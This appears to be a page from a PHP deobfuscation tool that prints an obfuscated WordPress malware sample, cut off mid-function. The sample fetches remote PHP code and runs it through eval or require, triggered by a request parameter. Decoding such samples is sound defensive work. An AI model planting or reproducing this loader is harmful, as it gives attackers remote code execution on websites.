Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $x_yz_z_yyz=urldecode("%6f%41%2d%62%4e%6e%4b%37%4c%35%5f%4a%55%74%52%78%49%59%2b%57%43%61%39%33%56%6b%30%77%4d%31%4f%65%53%44%64%42%32%6a%2f%6c%73%58%66%71%70%68%6d%2a%54%47%76%51%48%72%50%79%63%5c%34%7a%75%46%36%69%5a%67%38%45");$xz_zyy_yz_=$x_yz_z_yyz[44].$x_yz_z_yyz[53].$x_yz_z_yyz[31].$...



Obfuscated php code

<?php
$x_yz_z_yyz=urldecode("%6f%41%2d%62%4e%6e%4b%37%4c%35%5f%4a%55%74%52%78%49%59%2b%57%43%61%39%33%56%6b%30%77%4d%31%4f%65%53%44%64%42%32%6a%2f%6c%73%58%66%71%70%68%6d%2a%54%47%76%51%48%72%50%79%63%5c%34%7a%75%46%36%69%5a%67%38%45");$xz_zyy_yz_=$x_yz_z_yyz[44].$x_yz_z_yyz[53].$x_yz_z_yyz[31].$x_yz_z_yyz[65].$x_yz_z_yyz[10].$x_yz_z_yyz[53].$x_yz_z_yyz[31].$x_yz_z_yyz[44].$x_yz_z_yyz[39].$x_yz_z_yyz[21].$x_yz_z_yyz[56].$x_yz_z_yyz[31].$x_yz_z_yyz[10].$x_yz_z_yyz[56].$x_yz_z_yyz[21].$x_yz_z_yyz[39].$x_yz_z_yyz[39].$x_yz_z_yyz[3].$x_yz_z_yyz[21].$x_yz_z_yyz[56].$x_yz_z_yyz[25];$x_y__yzzyz=$x_yz_z_yyz[40].$x_yz_z_yyz[13].$x_yz_z_yyz[53].$x_yz_z_yyz[31].$x_yz_z_yyz[21].$x_yz_z_yyz[46].$x_yz_z_yyz[10].$x_yz_z_yyz[40].$x_yz_z_yyz[0].$x_yz_z_yyz[56].$x_yz_z_yyz[25].$x_yz_z_yyz[31].$x_yz_z_yyz[13].$x_yz_z_yyz[10].$x_yz_z_yyz[56].$x_yz_z_yyz[39].$x_yz_z_yyz[63].$x_yz_z_yyz[31].$x_yz_z_yyz[5].$x_yz_z_yyz[13];$xyz_zz__yy=$x_yz_z_yyz[40].$x_yz_z_yyz[13].$x_yz_z_yyz[53].$x_yz_z_yyz[31].$x_yz_z_yyz[21].$x_yz_z_yyz[46].$x_yz_z_yyz[10].$x_yz_z_yyz[65].$x_yz_z_yyz[31].$x_yz_z_yyz[13].$x_yz_z_yyz[10].$x_yz_z_yyz[46].$x_yz_z_yyz[31].$x_yz_z_yyz[13].$x_yz_z_yyz[21].$x_yz_z_yyz[10].$x_yz_z_yyz[34].$x_yz_z_yyz[21].$x_yz_z_yyz[13].$x_yz_z_yyz[21];$xzzzy__yy_=$x_yz_z_yyz[40].$x_yz_z_yyz[13].$x_yz_z_yyz[53].$x_yz_z_yyz[31].$x_yz_z_yyz[21].$x_yz_z_yyz[46].$x_yz_z_yyz[10].$x_yz_z_yyz[40].$x_yz_z_yyz[31].$x_yz_z_yyz[13].$x_yz_z_yyz[10].$x_yz_z_yyz[3].$x_yz_z_yyz[39].$x_yz_z_yyz[0].$x_yz_z_yyz[56].$x_yz_z_yyz[25].$x_yz_z_yyz[63].$x_yz_z_yyz[5].$x_yz_z_yyz[65];$xzy__zy_zy=$x_yz_z_yyz[40].$x_yz_z_yyz[13].$x_yz_z_yyz[53].$x_yz_z_yyz[31].$x_yz_z_yyz[21].$x_yz_z_yyz[46].$x_yz_z_yyz[10].$x_yz_z_yyz[40].$x_yz_z_yyz[31].$x_yz_z_yyz[13].$x_yz_z_yyz[10].$x_yz_z_yyz[13].$x_yz_z_yyz[63].$x_yz_z_yyz[46].$x_yz_z_yyz[31].$x_yz_z_yyz[0].$x_yz_z_yyz[60].$x_yz_z_yyz[13];$xz__yyy_zz=$x_yz_z_yyz[42].$x_yz_z_yyz[63].$x_yz_z_yyz[39].$x_yz_z_yyz[31].$x_yz_z_yyz[10].$x_yz_z_yyz[65].$x_yz_z_yyz[31].$x_yz_z_yyz[13].$x_yz_z_yyz[10].$x_yz_z_yyz[56].$x_yz_z_yyz[0].$x_yz_z_yyz[5].$x_yz_z_yyz[13].$x_yz_z_yyz[31].$x_yz_z_yyz[5].$x_yz_z_yyz[13].$x_yz_z_yyz[40];$x__zz_yyzy=$x_yz_z_yyz[42].$x_yz_z_yyz[60].$x_yz_z_yyz[5].$x_yz_z_yyz[56].$x_yz_z_yyz[13].$x_yz_z_yyz[63].$x_yz_z_yyz[0].$x_yz_z_yyz[5].$x_yz_z_yyz[10].$x_yz_z_yyz[31].$x_yz_z_yyz[15].$x_yz_z_yyz[63].$x_yz_z_yyz[40].$x_yz_z_yyz[13].$x_yz_z_yyz[40];$x_zyyyz__z=$x_yz_z_yyz[31].$x_yz_z_yyz[53].$x_yz_z_yyz[53].$x_yz_z_yyz[0].$x_yz_z_yyz[53].$x_yz_z_yyz[10].$x_yz_z_yyz[53].$x_yz_z_yyz[31].$x_yz_z_yyz[44].$x_yz_z_yyz[0].$x_yz_z_yyz[53].$x_yz_z_yyz[13].$x_yz_z_yyz[63].$x_yz_z_yyz[5].$x_yz_z_yyz[65];$xzz__yz_yy=$x_yz_z_yyz[65].$x_yz_z_yyz[31].$x_yz_z_yyz[13].$x_yz_z_yyz[45].$x_yz_z_yyz[0].$x_yz_z_yyz[40].$x_yz_z_yyz[13].$x_yz_z_yyz[3].$x_yz_z_yyz[55].$x_yz_z_yyz[5].$x_yz_z_yyz[21].$x_yz_z_yyz[46].$x_yz_z_yyz[31];$xy_z_zyy_z=$x_yz_z_yyz[3].$x_yz_z_yyz[21].$x_yz_z_yyz[40].$x_yz_z_yyz[31].$x_yz_z_yyz[62].$x_yz_z_yyz[58].$x_yz_z_yyz[10].$x_yz_z_yyz[31].$x_yz_z_yyz[5].$x_yz_z_yyz[56].$x_yz_z_yyz[0].$x_yz_z_yyz[34].$x_yz_z_yyz[31];$x_z_yyzyz_=$x_yz_z_yyz[3].$x_yz_z_yyz[21].$x_yz_z_yyz[40].$x_yz_z_yyz[31].$x_yz_z_yyz[62].$x_yz_z_yyz[58].$x_yz_z_yyz[10].$x_yz_z_yyz[34].$x_yz_z_yyz[31].$x_yz_z_yyz[56].$x_yz_z_yyz[0].$x_yz_z_yyz[34].$x_yz_z_yyz[31];$xy__yzyz_z=$x_yz_z_yyz[53].$x_yz_z_yyz[21].$x_yz_z_yyz[27].$x_yz_z_yyz[60].$x_yz_z_yyz[53].$x_yz_z_yyz[39].$x_yz_z_yyz[31].$x_yz_z_yyz[5].$x_yz_z_yyz[56].$x_yz_z_yyz[0].$x_yz_z_yyz[34].$x_yz_z_yyz[31];$xy_yz__yzz=$x_yz_z_yyz[40].$x_yz_z_yyz[13].$x_yz_z_yyz[53].$x_yz_z_yyz[10].$x_yz_z_yyz[53].$x_yz_z_yyz[31].$x_yz_z_yyz[44].$x_yz_z_yyz[39].$x_yz_z_yyz[21].$x_yz_z_yyz[56].$x_yz_z_yyz[31];$xyy__zz_yz=$x_yz_z_yyz[56].$x_yz_z_yyz[60].$x_yz_z_yyz[53].$x_yz_z_yyz[39].$x_yz_z_yyz[10].$x_yz_z_yyz[40].$x_yz_z_yyz[31].$x_yz_z_yyz[13].$x_yz_z_yyz[0].$x_yz_z_yyz[44].$x_yz_z_yyz[13];$xz_zyzyy__=$x_yz_z_yyz[21].$x_yz_z_yyz[53].$x_yz_z_yyz[53].$x_yz_z_yyz[21].$x_yz_z_yyz[55].$x_yz_z_yyz[10].$x_yz_z_yyz[40].$x_yz_z_yyz[45].$x_yz_z_yyz[63].$x_yz_z_yyz[42].$x_yz_z_yyz[13];$xyy_yz__zz=$x_yz_z_yyz[44].$x_yz_z_yyz[53].$x_yz_z_yyz[31].$x_yz_z_yyz[65].$x_yz_z_yyz[10].$x_yz_z_yyz[40].$x_yz_z_yyz[44].$x_yz_z_yyz[39].$x_yz_z_yyz[63].$x_yz_z_yyz[13];$xzzzy_yy__=$x_yz_z_yyz[44].$x_yz_z_yyz[53].$x_yz_z_yyz[31].$x_yz_z_yyz[65].$x_yz_z_yyz[10].$x_yz_z_yyz[46].$x_yz_z_yyz[21].$x_yz_z_yyz[13].$x_yz_z_yyz[56].$x_yz_z_yyz[45];$x_yy_yz_zz=$x_yz_z_yyz[56].$x_yz_z_yyz[60].$x_yz_z_yyz[53].$x_yz_z_yyz[39].$x_yz_z_yyz[10].$x_yz_z_yyz[56].$x_yz_z_yyz[39].$x_yz_z_yyz[0].$x_yz_z_yyz[40].$x_yz_z_yyz[31];$x__yyzzz_y=$x_yz_z_yyz[40].$x_yz_z_yyz[13].$x_yz_z_yyz[53].$x_yz_z_yyz[10].$x_yz_z_yyz[40].$x_yz_z_yyz[44].$x_yz_z_yyz[39].$x_yz_z_yyz[63].$x_yz_z_yyz[13];$xz_y_zyzy_=$x_yz_z_yyz[44].$x_yz_z_yyz[21].$x_yz_z_yyz[53].$x_yz_z_yyz[40].$x_yz_z_yyz[31].$x_yz_z_yyz[10].$x_yz_z_yyz[60].$x_yz_z_yyz[53].$x_yz_z_yyz[39];$xzyzyz___y=$x_yz_z_yyz[65].$x_yz_z_yyz[59].$x_yz_z_yyz[63].$x_yz_z_yyz[5].$x_yz_z_yyz[42].$x_yz_z_yyz[39].$x_yz_z_yyz[21].$x_yz_z_yyz[13].$x_yz_z_yyz[31];$x_y_yzyz_z=$x_yz_z_yyz[56].$x_yz_z_yyz[60].$x_yz_z_yyz[53].$x_yz_z_yyz[39].$x_yz_z_yyz[10].$x_yz_z_yyz[63].$x_yz_z_yyz[5].$x_yz_z_yyz[63].$x_yz_z_yyz[13];$xyy_zz_yz_=$x_yz_z_yyz[56].$x_yz_z_yyz[60].$x_yz_z_yyz[53].$x_yz_z_yyz[39].$x_yz_z_yyz[10].$x_yz_z_yyz[31].$x_yz_z_yyz[15].$x_yz_z_yyz[31].$x_yz_z_yyz[56];$xyzy_z_y_z=$x_yz_z_yyz[50].$x_yz_z_yyz[21].$x_yz_z_yyz[53].$x_yz_z_yyz[10].$x_yz_z_yyz[34].$x_yz_z_yyz[60].$x_yz_z_yyz[46].$x_yz_z_yyz[44];$xz_y__zyzy=$x_yz_z_yyz[63].$x_yz_z_yyz[40].$x_yz_z_yyz[10].$x_yz_z_yyz[21].$x_yz_z_yyz[53].$x_yz_z_yyz[53].$x_yz_z_yyz[21].$x_yz_z_yyz[55];$x___zzzyyy=$x_yz_z_yyz[13].$x_yz_z_yyz[46].$x_yz_z_yyz[44].$x_yz_z_yyz[42].$x_yz_z_yyz[63].$x_yz_z_yyz[39].$x_yz_z_yyz[31];$x_z_zyyzy_=$x_yz_z_yyz[44].$x_yz_z_yyz[53].$x_yz_z_yyz[63].$x_yz_z_yyz[5].$x_yz_z_yyz[13].$x_yz_z_yyz[10].$x_yz_z_yyz[53];$xyyz___zyz=$x_yz_z_yyz[63].$x_yz_z_yyz[46].$x_yz_z_yyz[44].$x_yz_z_yyz[39].$x_yz_z_yyz[0].$x_yz_z_yyz[34].$x_yz_z_yyz[31];$xy_yyzzz__=$x_yz_z_yyz[31].$x_yz_z_yyz[15].$x_yz_z_yyz[44].$x_yz_z_yyz[39].$x_yz_z_yyz[0].$x_yz_z_yyz[34].$x_yz_z_yyz[31];$xyy_zzyz__=$x_yz_z_yyz[40].$x_yz_z_yyz[13].$x_yz_z_yyz[53].$x_yz_z_yyz[44].$x_yz_z_yyz[0].$x_yz_z_yyz[40];$xz__zyy_zy=$x_yz_z_yyz[40].$x_yz_z_yyz[13].$x_yz_z_yyz[53].$x_yz_z_yyz[39].$x_yz_z_yyz[31].$x_yz_z_yyz[5];$xyz__zyz_y=$x_yz_z_yyz[45].$x_yz_z_yyz[31].$x_yz_z_yyz[15].$x_yz_z_yyz[34].$x_yz_z_yyz[31].$x_yz_z_yyz[56];$x_y__yzzyz=$x_yz_z_yyz[42].$x_yz_z_yyz[27].$x_yz_z_yyz[53].$x_yz_z_yyz[63].$x_yz_z_yyz[13].$x_yz_z_yyz[31];$xzyyy_z_z_=$x_yz_z_yyz[42].$x_yz_z_yyz[56].$x_yz_z_yyz[39].$x_yz_z_yyz[0].$x_yz_z_yyz[40].$x_yz_z_yyz[31];$xz___yyzyz=$x_yz_z_yyz[42].$x_yz_z_yyz[53].$x_yz_z_yyz[31].$x_yz_z_yyz[21].$x_yz_z_yyz[34];$xy_y_yz_zz=$x_yz_z_yyz[42].$x_yz_z_yyz[65].$x_yz_z_yyz[31].$x_yz_z_yyz[13].$x_yz_z_yyz[40];$xyz_z_yzy_=$x_yz_z_yyz[56].$x_yz_z_yyz[0].$x_yz_z_yyz[60].$x_yz_z_yyz[5].$x_yz_z_yyz[13];$x_z_yzyyz_=$x_yz_z_yyz[13].$x_yz_z_yyz[53].$x_yz_z_yyz[63].$x_yz_z_yyz[46];$xz_yzz__yy=$x_yz_z_yyz[37].$x_yz_z_yyz[0].$x_yz_z_yyz[63].$x_yz_z_yyz[5];$x_zy_y_zzy=$x_yz_z_yyz[42].$x_yz_z_yyz[31].$x_yz_z_yyz[0].$x_yz_z_yyz[42];${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x79\x79\x79\x7a\x5f\x5f\x7a"](0);$xyyzz__zy_="Ha0RDcvo2LwpTMwAXLyYTMuUWetFWYpx2avVids5WaZl";$x__yz_yzzy="Ha0RHc6MyLj9nLpdzYuU2Yt9wL==";function x_zz_z_yyy($xyz_yyz_z_){$x_zzy_y_yz=substr($xyz_yyz_z_,0,5);$xyzzyy__z_=substr($xyz_yyz_z_,-5);$x_zy_zyzy_=substr($xyz_yyz_z_,7,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x5f\x7a\x79\x79\x5f\x7a\x79"]($xyz_yyz_z_)-14);return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x79\x7a\x79\x7a\x5f\x5f\x5f\x79"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x5f\x79\x79\x7a\x79\x7a\x5f"]($x_zzy_y_yz.$x_zy_zyzy_.$xyzzyy__z_));}function xy_zyyz__z($xz_zy__zyy){if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x7a\x7a\x79\x5f\x79\x79\x5f\x5f"]("/^https*\\:\\/\\//si",$xz_zy__zyy)){return '500';}$xy_y_zzz_y=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x5f\x79\x79\x79\x5f\x7a\x7a"]($xz_zy__zyy);if($xy_y_zzz_y!=false){return $xy_y_zzz_y;}$x_yzz_z_yy=x_zz_z_yyy('Sy4typZonPzMss0U4GsYpTS/ILoOzUitTkmrTi/OTs/ILUvJoCBLO4pCg1MTcexE8tiU/OyUzNK6mB8YBknSJakA');$xy_zyzy__z=$xzyyz_y_z_=$xyzy_yz_z_=$xy_yy__zzzrr_str ='';foreach(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x79\x79\x7a\x7a\x7a\x5f\x5f"]('|',$x_yzz_z_yy) as $c){$xz_yz_y_yz=1;foreach(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x79\x79\x7a\x7a\x7a\x5f\x5f"]('+',$c) as $d){if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x5f\x7a\x7a\x5f\x79\x79\x7a\x79"]($d)){$xz_yz_y_yz=0;}}unset($d);if($xz_yz_y_yz){$xy_zyzy__z=$c;break;}}unset($x_yzz_z_yy,$c);if($xy_zyzy__z==''){return 0;}if(substr($xy_zyzy__z,0,1)=='c'){$xyyz__yzz_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x79\x5f\x79\x7a\x79\x7a\x5f\x7a"]();${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x5f\x5f\x7a\x7a\x5f\x79\x7a"]($xyyz__yzz_,CURLOPT_URL,$xz_zy__zyy);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x5f\x5f\x7a\x7a\x5f\x79\x7a"]($xyyz__yzz_,CURLOPT_USERAGENT,'s');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x5f\x5f\x7a\x7a\x5f\x79\x7a"]($xyyz__yzz_,CURLOPT_RETURNTRANSFER,1);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x5f\x5f\x7a\x7a\x5f\x79\x7a"]($xyyz__yzz_,CURLOPT_TIMEOUT,100);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x5f\x5f\x7a\x7a\x5f\x79\x7a"]($xyyz__yzz_,CURLOPT_FRESH_CONNECT,TRUE);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x5f\x5f\x7a\x7a\x5f\x79\x7a"]($xyyz__yzz_,CURLOPT_SSL_VERIFYPEER,0);$xz_y_yz_yz=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x5f\x7a\x7a\x5f\x79\x7a\x5f"]($xyyz__yzz_);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x79\x79\x5f\x79\x7a\x5f\x7a\x7a"]($xyyz__yzz_);if(!$xz_y_yz_yz){return '501';}else{return $xz_y_yz_yz;}}$xz__yzyy_z=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x79\x5f\x7a\x79\x7a\x79\x5f"]($xz_zy__zyy);isset($xz__yzyy_z["\x68\x6f\x73\x74"])||$xz__yzyy_z["\x68\x6f\x73\x74"]='';isset($xz__yzyy_z["\x70\x61\x74\x68"])||$xz__yzyy_z["\x70\x61\x74\x68"]='';isset($xz__yzyy_z["\x71\x75\x65\x72\x79"])|| $xz__yzyy_z["\x71\x75\x65\x72\x79"]='';isset($xz__yzyy_z["\x70\x6f\x72\x74"])||$xz__yzyy_z["\x70\x6f\x72\x74"]='';$x_zzy__yyz=$xz__yzyy_z["\x70\x61\x74\x68"]?$xz__yzyy_z["\x70\x61\x74\x68"].($xz__yzyy_z["\x71\x75\x65\x72\x79"]?'?'.$xz__yzyy_z["\x71\x75\x65\x72\x79"]:''):'/';$xzy_y__zzy=$xz__yzyy_z["\x68\x6f\x73\x74"];if($xz__yzyy_z["\x73\x63\x68\x65\x6d\x65"]=='https'){$xzz_y_zyy_='1.1';$x_zyyyz_z_=empty($xz__yzyy_z["\x70\x6f\x72\x74"])?443:$xz__yzyy_z["\x70\x6f\x72\x74"];$xzy_y__zzy=x_zz_z_yyy('Ky7OsPgdLABXBwA=');$xzy_y__zzy.=$xz__yzyy_z["\x68\x6f\x73\x74"];}else{$xzz_y_zyy_='1.0';$x_zyyyz_z_=empty($xz__yzyy_z["\x70\x6f\x72\x74"])?80:$xz__yzyy_z["\x70\x6f\x72\x74"];}$x_zzyyy_z_='Host:';$x_zzyyy_z_.=$xzy_y__zzy;$headers[]=$x_zzyyy_z_;$headers[]=x_zz_z_yyy('c87PymS0tNLsnMz7NyzskNivTgUA');$headers[]=x_zz_z_yyy('Cy1OLbCdJ1TE/NK7ErMqBgA=');$headers[]=x_zz_z_yyy('c0xOTXJi0osdLtWS1wIA');unset($x_zzyyy_z_);$xzyyz_y_z_="GET $x_zzy__yyz HTTP/$xzz_y_zyy_".PHP_EOL.${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x79\x7a\x7a\x5f\x5f\x79\x79"](PHP_EOL,$headers).PHP_EOL.PHP_EOL;unset($headers,$xz__yzyy_z,$xzz_y_zyy_,$x_zzy__yyz);$x_y_zz_yzy=null;if(substr($xy_zyzy__z,-1)=='n'){$x_y_zz_yzy=$xy_zyzy__z($xzy_y__zzy,$x_zyyyz_z_,$xyzy_yz_z_,$xy_yy__zzzrr_str,30);}else{if(substr($xy_zyzy__z,-1)=='t'){$xzzzyy__y_=x_zz_z_yyy('K0kusibNLVEXBwA=');$xzzzyy__y_.=$xzy_y__zzy;$xzzzyy__y_.=':';$xzzzyy__y_.=$x_zyyyz_z_;$x_y_zz_yzy=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x79\x5f\x5f\x79\x7a\x7a\x79\x7a"]($xzzzyy__y_,$xyzy_yz_z_,$xy_yy__zzzrr_str,30);unset($xzzzyy__y_);}}$x_yy_z_zyz='';if($x_y_zz_yzy){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x7a\x7a\x79\x5f\x5f\x79\x79\x5f"]($x_y_zz_yzy,TRUE);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x79\x5f\x5f\x7a\x79\x5f\x7a\x79"]($x_y_zz_yzy,30);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x79\x5f\x5f\x79\x7a\x7a\x79\x7a"]($x_y_zz_yzy,$xzyyz_y_z_);$x_z_y_yzyz=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x7a\x5f\x7a\x7a\x5f\x5f\x79\x79"]($x_y_zz_yzy);if(!$x_z_y_yzyz["\x74\x69\x6d\x65\x64\x5f\x6f\x75\x74"]){while(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x79\x5f\x79\x5f\x7a\x7a\x79"]($x_y_zz_yzy)){$xzyy__z_yz=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x79\x5f\x79\x7a\x5f\x7a\x7a"]($x_y_zz_yzy);if($xzyy__z_yz&&(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x5f\x79\x7a\x79\x7a\x5f\x7a"]($xzyy__z_yz)=="%0D%0A"||${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x5f\x79\x7a\x79\x7a\x5f\x7a"]($xzyy__z_yz)=="%0A")){break;}unset($xzyy__z_yz);}while(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x79\x5f\x79\x5f\x7a\x7a\x79"]($x_y_zz_yzy)){$xzz_y_yyz_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x5f\x5f\x79\x79\x7a\x79\x7a"]($x_y_zz_yzy,8192);$x_yy_z_zyz.=$xzz_y_yyz_;unset($xzz_y_yyz_);}}unset($x_z_y_yzyz);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x79\x79\x79\x5f\x7a\x5f\x7a\x5f"]($x_y_zz_yzy);}else{if(substr($xy_zyzy__z,-1)=='e'){$x__zyzzy_y=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x7a\x5f\x5f\x79\x7a\x5f\x79\x79"]($xzy_y__zzy);$x_y_zz_yzy=$xy_zyzy__z(AF_INET,SOCK_STREAM,0);if(socket_connect($x_y_zz_yzy,$x__zyzzy_y,$x_zyyyz_z_)){socket_write($x_y_zz_yzy,$xzyyz_y_z_,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x5f\x7a\x79\x79\x5f\x7a\x79"]($xzyyz_y_z_));while($x__yyz_yzz=@socket_read($x_y_zz_yzy,8192)){$x_yy_z_zyz.=$x__yyz_yzz;unset($x__yyz_yzz);}$x_yy_z_zyz=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x79\x79\x7a\x7a\x7a\x5f\x5f"]("\\r\\n\\r\\n",$x_yy_z_zyz);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x7a\x79\x7a\x79\x79\x5f\x5f"]($x_yy_z_zyz);$x_yy_z_zyz=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x7a\x5f\x5f\x5f\x7a\x79\x7a"]("\\r\\n\\r\\n",$x_yy_z_zyz);}socket_close($x_y_zz_yzy);unset($x__zyzzy_y);}}unset($xzyyz_y_z_,$xy_zyzy__z,$x_y_zz_yzy,$x_zyyyz_z_,$xzy_y__zzy);$x_yy_z_zyz=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x7a\x79\x79\x5f\x79\x7a\x5f"]('/(?:(?:\\r\\n|\\n)|^)([0-9A-F]+)(?:\\r\\n|\\n){1,2}(.*?)'.'((?:\\r\\n|\\n)(?:[0-9A-F]+(?:\\r\\n|\\n))|$)/si','x_zyzy_z_y',$x_yy_z_zyz);return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x5f\x79\x7a\x79\x79\x7a\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x5f\x79\x7a\x79\x79\x7a\x5f"]($x_yy_z_zyz,"\\xEF\\xBB\\xBF"));}function x_zyzy_z_y($matches){return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x7a\x5f\x5f\x7a\x79\x7a\x5f\x79"]($matches[1])==${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x5f\x7a\x79\x79\x5f\x7a\x79"]($matches[2])?$matches[2]:$matches[0];}function xyzyz___zy($xzzyy_y__z=''){$xzzyy_y__z=(${"\x5f\x53\x45\x52\x56\x45\x52"}["HTTP_VIA"])?${"\x5f\x53\x45\x52\x56\x45\x52"}["HTTP_X_FORWARDED_FOR"]:${"\x5f\x53\x45\x52\x56\x45\x52"}["REMOTE_ADDR"];$xzzyy_y__z=($xzzyy_y__z)?$xzzyy_y__z:${"\x5f\x53\x45\x52\x56\x45\x52"}["REMOTE_ADDR"];return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x5f\x79\x7a\x79\x79\x7a\x5f"]($xzzyy_y__z);}function xzyy_y_zz_($xyz_yyz_z_=''){if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"];}elseif(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"];}return $xyz_yyz_z_;}function xz_zy_zyy_($xz_zy__zyy){$xzyyz__y_z=xy_zyyz__z($xz_zy__zyy);$xzz_yy__zy=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x5f\x79\x79\x7a\x79\x7a\x5f"]("PD9waHA=");if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x5f\x7a\x7a\x79\x7a\x5f\x5f"]($xzyyz__y_z,$xzz_yy__zy)===false){die('get failed');}$xyyzyz_z__=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x5f\x5f\x7a\x7a\x7a\x79\x79\x79"]();if(isset($_REQUEST["\x65"])){$xzyyz__y_z=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x79\x7a\x5f\x5f\x79\x7a\x7a"]($xzz_yy__zy,"",$xzyyz__y_z);$xy_yy__zzz='e'.'v'.'a'.'l';$xy_yy__zzz($xzyyz__y_z);die();}${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x79\x5f\x5f\x79\x7a\x7a\x79\x7a"]($xyyzyz_z__,$xzyyz__y_z);$x_yzz_z_yy=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x7a\x5f\x7a\x7a\x5f\x5f\x79\x79"]($xyyzyz_z__);@require($x_yzz_z_yy["\x75\x72\x69"]);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x79\x79\x79\x5f\x7a\x5f\x7a\x5f"]($xyyzyz_z__);die();}function x__yzy_yzz($xyyzz__zy_){$x_yzz_y_zy=substr($xyyzz__zy_,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x5f\x7a\x79\x79\x5f\x7a\x79"]($xyyzz__zy_) -2);$xyzy__zy_z=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x5f\x79\x79\x7a\x7a\x7a\x5f\x79"]($xyyzz__zy_);$xzzy__yzy_='';for ($xy_zzyy__z=0;$xy_zzyy__z<${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x7a\x5f\x7a\x5f\x79\x7a\x79\x5f"]($xyzy__zy_z)-2;$xy_zzyy__z=$xy_zzyy__z+2){$xzzy__yzy_.=$xyzy__zy_z[$xy_zzyy__z+1].$xyzy__zy_z[$xy_zzyy__z];}$xzzy__yzy_.=$x_yzz_y_zy;return $xzzy__yzy_;}function 